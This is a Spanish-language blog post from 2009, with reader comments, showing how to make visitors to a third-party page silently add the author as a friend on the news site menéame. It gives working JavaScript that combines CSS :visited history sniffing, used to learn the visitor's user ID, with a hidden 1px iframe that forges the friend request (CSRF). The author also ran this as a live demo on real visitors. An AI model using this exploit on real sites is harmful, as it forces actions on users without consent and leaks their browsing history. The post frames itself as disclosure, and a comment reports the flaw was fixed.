Scripts para autoamigar en menéame

Para los que no lo sepan, meneame es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.

Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como «amigos». Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.

De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.

Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:

http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&p=0&type=TU_ID_DE_USUARIO

Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.

El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.

Este tipo de ataques se conocen como CSRF.

Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=TU_ID_DE_USUARIO

Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.

Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).

Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.

Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:

http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO

Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:

http://meneame.net/comments_rss2.php?answers_id=X

Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.

Una vez con eso, podemos generar un iframe para visitar una url tipo:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=X

Siendo X el ID que hemos obtenido con la técnica de arriba.

Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada 🙂

Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.

Si queréis ver una prueba real utilizando esto, he montado una web:

demo

Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:

function checkUrls(start) {
var url = «http://meneame.net/comments_rss2.php?conversation_id=»;
var obj = document.createElement(‘a’);
obj.setAttribute(‘href’,url);
document.getElementById(‘area’).appendChild(obj);
for(i=start;i<start+1000;i++) {
obj.setAttribute(‘href’,url+i);
var cmstyle = document.defaultView.getComputedStyle(obj,null);
if(cmstyle) {
if(cmstyle.color == ‘rgb(0, 0, 0)’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2’).appendChild(frame);
i = 120001
}
} else {
var color = obj.currentStyle.color;
if(color == ‘#000000’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2’).appendChild(frame);
i = 120001;
}
}
}
if(i < 120001) {
setTimeout(‘checkUrls(‘+i+’);’,100);
}
}

Pero se ve mejor entrando a la demo, y dandole a ver código fuente.

Nota importante: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.

15 Respuestas to “Scripts para autoamigar en menéame”


  1. 1 HOOYGA abril 28, 2009 a las 6:22 pm

    HOOYGA HUSTE HES HUN JAQER I CI NO HENBIA HESTE KORREO A SUS KONTATOS SU KUENTA DE JOTMEIL CE CERRARA 😛

  2. 2 andresrguez abril 28, 2009 a las 8:44 pm

    Ahora es cuando va Perl en su Ferrari pagado por el PSOE y le ajusta las cuentas enviándole a Teddy Bautista, por joder el código de los amigos.

    Ironía fina off edit

  3. 3 Abogadoooo abril 28, 2009 a las 8:46 pm

    Eres bueno tiooooooooooooooooooooooooooo!!!!

  4. 4 Nemigo abril 28, 2009 a las 8:54 pm

    está claro que la mafia de amigos, desamigos y adimins ha vuelto a cagarla

  5. 5 luzem abril 28, 2009 a las 9:16 pm

    eres muy bueno tiooooooooooo

  6. 6 jejeje abril 28, 2009 a las 9:23 pm

    muy bien pensao. qué bueno

  7. 7 Te felicito abril 28, 2009 a las 10:15 pm

    Pues post.
    Te felicito.
    Me va a ayudar a proteger mis sitios (no dire cuales son, jaja) porque todos (los mios) tiene ese fallo 😦

  8. 9 Camaron abril 29, 2009 a las 8:15 am

    No sabia esto de que con javascript puedes comprobar el color del enlace y asi saber si ha sido visitado 😉 muy buena.

  9. 10 DaveMD abril 29, 2009 a las 9:03 am

    Felicidades por ser tan brillante.

  10. 11 HoLy KiLleR abril 29, 2009 a las 9:34 am

    Y para que alguien quisiera algo asi?

  11. 12 DZPM abril 29, 2009 a las 2:09 pm

    A ver, hay que optimizar: lo que tienes que hacer es obtener los IDs de los usuarios más «populares» de meneame, y agregarlos a ellos 😀

    Puedes empezar por el top-karma, o si lo prefieres te vendo la lista de IDs de gods y admins 😉

  12. 13 codigodeamor abril 30, 2009 a las 2:51 am

    Muy bueno tu blog, realmente sigue asi.

    Tambien visiten
    http://codigodeamor.wordpress.com

    Restaurado hace poco y con 1 nuevo tema cada dia…realmente muy interesante.

  13. 14 minipunk May 1, 2009 a las 10:28 am

    Acabo de probarlo y no funciona :-p

    ERROR: clave de control incorrecta

  14. 15 jcarlosn May 1, 2009 a las 10:51 am

    minipunk, afortunadamente, ya ha sido corregido por gallir, programador de meneame.

    Un saludo!


Replica a Camaron Cancelar la respuesta